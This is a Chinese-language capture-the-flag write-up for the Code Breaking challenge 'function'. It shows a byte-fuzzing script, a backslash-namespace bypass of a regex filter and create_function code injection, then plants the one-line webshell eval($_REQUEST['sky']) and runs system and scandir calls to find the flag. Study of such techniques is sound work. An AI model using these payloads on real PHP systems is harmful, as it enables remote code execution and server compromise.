代码审计从入门到放弃(一) & function

发表于:2019-03-11 16:23:22 来源:  合天网安实验室 阅读数(0人)

前言


Code Breaking是ph牛搭建的代码审计挑战赛:https://code-breaking.com


刚发布的时候一直忙于学业和一些琐事,没法认真研究和学习,最近闲下来了,于是打算填下这个坑~


题目ph牛均已开源至github:https://github.com/phith0n/code-breaking(必须star XD)


题目概述


<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';

if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
    show_source(__FILE__);
} else {
    $action('', $arg);
}
					

源码言简意赅,首先是希望我们输入两个参数


$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';

其中双问号为三元运算表达式,等价于


$action = $_GET['action'] ? $_GET['action']: '';
$arg = $_GET['arg'] ? $_GET['action']: '';
					

即输入两个参数,若输入,则取我们的输入,否则为空


然后是对$_GET['action']的正则表达式过滤


if(preg_match('/^[a-z0-9_]*$/isD', $action)

如果不被匹配到正则,则可以进行如下操作


$action('', $arg);

漏洞点思考


题目意思也很简单,我们的关注点应该停留到正则匹配上,因为一旦绕过正则,则可以进行危险函数构造,成功getshell或是读取文件,我们先来看一下正则/^[a-z0-9_]*$/isD的意思:


/i 不区分大小写


/s 匹配任何不可见字符,包括空格、制表符、换页符等等,等价于[ \f\n\r\t\v]


/D 如果使用$限制结尾字符,则不允许结尾有换行;


那么很显然,所有以数字,字母,下划线等开头的value都会被过滤,我们无法进入下面的


$action('', $arg);

那么现在的目的很简单:


按照正则的意思,找到一个不是以数字,字母,下划线等开头的value,同时可以正常执行函数


我们曾经有如下正则Bypass的样例


if(preg_match('/^(.*)flag(.*)$/', $payload))

对于^开头,$结尾的正则,如果用.进行任意字符匹配,那么则不包括换行符


所以这种情况我们可以用%0a进行bypass


正常输入flag:




利用%0a进行bypass:




可以明显看出两张图的对比,这里我们利用%0a打头,成功bypass正则,达到任意input,那么我们也没有相同的思路去bypass现在的正则呢?


既然要顺应正则的意思,我们不妨看看有没有什么特殊字符可以达到一样的效果,不妨进行字符fuzz


字符fuzz


既然要找一个这样满足条件的字符,我们可以进行fuzz


import requests
	for i in range(1,256):
		tmp = hex(i)[2:]
		if len(tmp)<2:
			tmp = '0'+hex(i)[2:]
		tmp = '%'+tmp
		url = 'http://localhost:22000/?action='+tmp+'var_dump&arg=23333'
		r = requests.get(url=url)
		if '23333' in r.content:
			print r.content
			print url
					

可以得到结果


string(0) ""
string(5) "23333"

http://106.14.114.127:22000/?action=%5cvar_dump&arg=23333
[Finished in 5.3s]
					

我们发现当且仅当使用%5c打头时,我们可以正常运行var_dump(),并且成功满足正则。那么这是为什么呢?


ph牛有如下总结


php里默认命名空间是\,所有原生函数和类都在这个命名空间中。


普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;


而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。


如果你在其他namespace里调用系统类,就必须写绝对路径这种写法


同时我们参考php手册


http://www.php.net/manual/zh/language.namespaces.rationale.php


其中有如下样例代码:


<?php
namespace my\name;
class MyClass {}
const MYCONST = 1;

$a = new MyClass;
$c = new \my\name\MyClass;

$d = namespace\MYCONST;
$d = __NAMESPACE__ . '\MYCONST';
echo constant($d);
?>
					

可以很直观的看出对比,以及\的用法


getshell函数寻找


那么既然现在我们找到了利用\进行正则bypass的方法,则需要找一个合适的getshell / readfile函数


这里注意到参数的构造方式


$action('', $arg);


很显然,需要一个可以输入至少2个参数的函数,同时第二个参数存在RCE的风险, 这里可以简单翻阅我之前写的PHP Command / Code Injection Summary, 链接如下


https://skysec.top/2018/03/09/php-command%20or%20code-injection-summary/


不难找到如下函数


string create_function ( string $args , string $code )


通过官方样例


<?php
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo "New anonymous function: $newfunc\n";
echo $newfunc(2, M_E) . "\n";
// outputs
// New anonymous function: lambda_1
// ln(2) + ln(2.718281828459) = 1.6931471805599
?>
					

我们可以得到create_function()这样的原型


					function test($a,$b)
{
	return "ln($a) + ln($b) = " . log($a * $b);
}
					

第一个参数控制函数的变量名,第二个参数控制函数内的代码


那么我们这里


$action('', $arg);


可以说很容易进行代码注入拼接达到bypass,例如


$arg = return "2333";}phpinfo();/*


我们不妨带入


function test($a,$b)
{
	return "2333";
}
phpinfo();
/*}
					

可以发现,这样即可进行RCE,我们测试一下


http://localhost:22000/?action=%5ccreate_function&arg=return "2333";}phpinfo();/*




发现成功执行了phpinfo


getflag


那么我们插入一句话木马


$arg = return "2333";}eval($_REQUEST['sky']);/*


得到


?action=%5ccreate_function&arg=return "2333";}eval($_REQUEST['sky']);/*&sky=system('ls');


但是得到回显


Warning: system() has been disabled for security reasons in /var/www/html/index.php(8) : runtime-created function(1) : eval()'d code on line 1


那么我们更改命令


sky=var_dump(scandir('./'));


得到回显


array(3) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) "index.php" }


我们继续查看上层目录


sky=var_dump(scandir('../'));


得到回显


array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(31) "flag_h0w2execute_arb1trary_c0de" [3]=> string(4) "html" }


至此,我们成功getflag


flag_h0w2execute_arb1trary_c0de


小结


本地考察的难点应该在于字符fuzz,用\打头bypass过滤提供了一个不错的思路,在日后的bypass上,不妨进行相应的测试~


实验室相关实验:


1、渗透PHP代码审计:


学习PHP代码审计的基础知识,为以后的工作奠定基础




2、正则表达式:


了解正则表达式,掌握sed和awk工具的使用




3、fuzz实践及module编写:


了解fuzz的思想,根据需求进行module的编写及利用




相关新闻

大家都在学

课程详情

信息安全意识教育

课程详情

小白入门之旅

课程详情

信息安全基础